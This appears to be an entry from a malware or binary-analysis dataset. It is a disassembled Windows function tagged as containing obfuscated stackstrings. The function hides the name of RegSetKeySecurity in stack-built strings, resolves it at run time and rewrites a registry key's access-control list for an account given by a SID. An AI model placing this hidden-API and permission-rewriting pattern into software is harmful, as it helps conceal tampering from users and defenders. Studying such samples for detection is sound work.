Function at 0x497300
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a0
mov eax, dword [0x4bf070]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x28], 0x32336970
push eax
mov esi, ecx
mov word [ebp - 0x21], 0x6c
mov word [ebp - 0x24], 0x642e
mov word [ebp - 0x2b], 0x7664
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x2c], 0x41
mov byte [ebp - 0x29], 0x61
mov dword [ebp - 0x10], 0x74697275
mov dword [ebp - 0x18], 0x654b7465
mov dword [ebp - 0x14], 0x63655379
mov dword [ebp - 0x1c], 0x53676552
mov word [ebp - 0xc], 0x79
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x497624
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4cc798], eax
test eax, eax
je 0x497624
lea eax, [ebp - 0x28c]
mov dword [ebp - 0x248], 0
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x244], 0
push esi
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x288], 0
movups xmmword [ebp - 0x284], xmm0
mov dword [ebp - 0x26c], 0
movq qword [ebp - 0x274], xmm0
mov dword [ebp - 0x29c], 0
mov dword [ebp - 0x294], 0
mov byte [ebp - 0x264], 0
movups xmmword [ebp - 0x263], xmm0
mov word [ebp - 0x253], 0
mov byte [ebp - 0x251], 0
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x28c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x497624
lea eax, [ebp - 0x290]
push eax
push 0
push 4
push dword [ebp - 0x28c]
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
test eax, eax
je 0x497618
cmp eax, 0x7a
jne 0x497618
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push dword [ebp - 0x290]
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x497618
lea eax, [ebp - 0x290]
push eax
push esi
push 4
push dword [ebp - 0x28c]
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
test eax, eax
jne 0x497618
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorDacl]
test eax, eax
je 0x497618
push 0x104
lea eax, [ebp - 0x138]
push 0
push eax
call fcn.004179d0
push 0x104
lea eax, [ebp - 0x240]
mov dword [ebp - 0x250], 0x104
push 0
push eax
call fcn.004179d0
add esp, 0x18
mov dword [ebp - 0x24c], 0x104
lea eax, [ebp - 0x298]
push eax
push 0x4cc770
call dword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidA]
test eax, eax
je 0x497618
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x138]
push eax
push dword [ebp - 0x298]
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidA]
test eax, eax
je 0x497618
push 0
push 3
push 0x30006
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.ADVAPI32.dll_BuildExplicitAccessWithNameA]
lea eax, [ebp - 0x294]
push eax
push dword [ebp - 0x29c]
lea eax, [ebp - 0x288]
push eax
push 1
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclA]
test eax, eax
jne 0x497618
push 1
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x497618
push 0
push dword [ebp - 0x294]
lea eax, [ebp - 0x264]
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x497618
lea eax, [ebp - 0x264]
push eax
push 4
push dword [ebp - 0x28c]
call dword [0x4cc798]
push dword [ebp - 0x28c]
test eax, eax
jne 0x49761e
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x497624
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 0x294]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041553e
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x28c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0041553e
mov esp, ebp
pop ebp
ret